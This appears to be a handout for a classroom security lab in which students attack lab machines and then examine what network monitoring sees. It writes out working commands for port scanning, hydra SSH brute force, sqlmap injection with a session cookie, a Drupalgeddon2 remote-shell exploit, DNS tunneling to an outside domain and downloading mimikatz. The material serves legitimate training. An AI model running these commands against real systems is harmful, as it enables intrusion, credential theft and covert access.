Fantastic Attacks and Where to Find Them

What do Attacks Look Like to the Network?

- You will do some basic or common attacks
- We will review what the network tools see

Phases of the Intrusion Kill Chain

Cybersecurity Summed Up

NIST Cybersecurity Framework

Rules

- Stay within scope!
  - Only attempt exploits on the IP addresses, CIDR ranges, or Hostnames I give.
    - Double check your commands
- Don’t run a Kali command unless you understand what it does.
- Don’t do something that will damage or destroy the labs, or harm the network.
  - Unless everyone finds me boring or wants to go home early.
- If you make a mistake, let me know immediately.

NMAP

- Host/Port scan
  - nmap -v -sT -Pn x.x.x.x/27 –p 22,23,25,445,3389

SSH Brute Force

- hydra -l admin -P /usr/share/wordlists/dirb/small.txt x.x.x.x -t 2 ssh -v

Web Attacks: SQL Injection

- SQL Injection
  - Sign into the website http://x.x.x.x/dvwa/ first (admin/password). Then Open up the web browser's dev tools and copy your cookie and place it in the commands below.
  - sqlmap -u "http://x.x.x.x/dvwa/vulnerabilities/sqli/?id=test&Submit=Submit#" --cookie="security=low; PHPSESSID=3kshasd0to3mkbi6h1g8jvenvr" --dbs
  - sqlmap -u "http://x.x.x.x/dvwa/vulnerabilities/sqli/?id=test&Submit=Submit#" --cookie="security=low; PHPSESSID=3kshasd0to3mkbi6h1g8jvenvr" --tables -D dvwa

Web Attacks: Drupalgeddon2

- Save https://raw.githubusercontent.com/armaanpathan12345/Drupalgeddon2-7.x-RCE/master/RCE.py
- Run **python drupalgeddon01.py http://x.x.x.x/drupal/**
- This basically gives you a shell to the server
  - Commands to run
    - ls
    - whoami
    - ps -ef

DNS Tunneling

- iodine -f -r x.x.x.x dallinwarne.com
  - Requires password
- You now have a virtual (not-really-private) tunnel
  - Ifconfig
    - You should have a new network interface, dns0
  - ping 172.16.0.1
  - ssh admin@172.16.0.1
    - Use the password you found when using Hydra earlier

Malware Transfer

- http://x.x.x.x/mimikatz.zip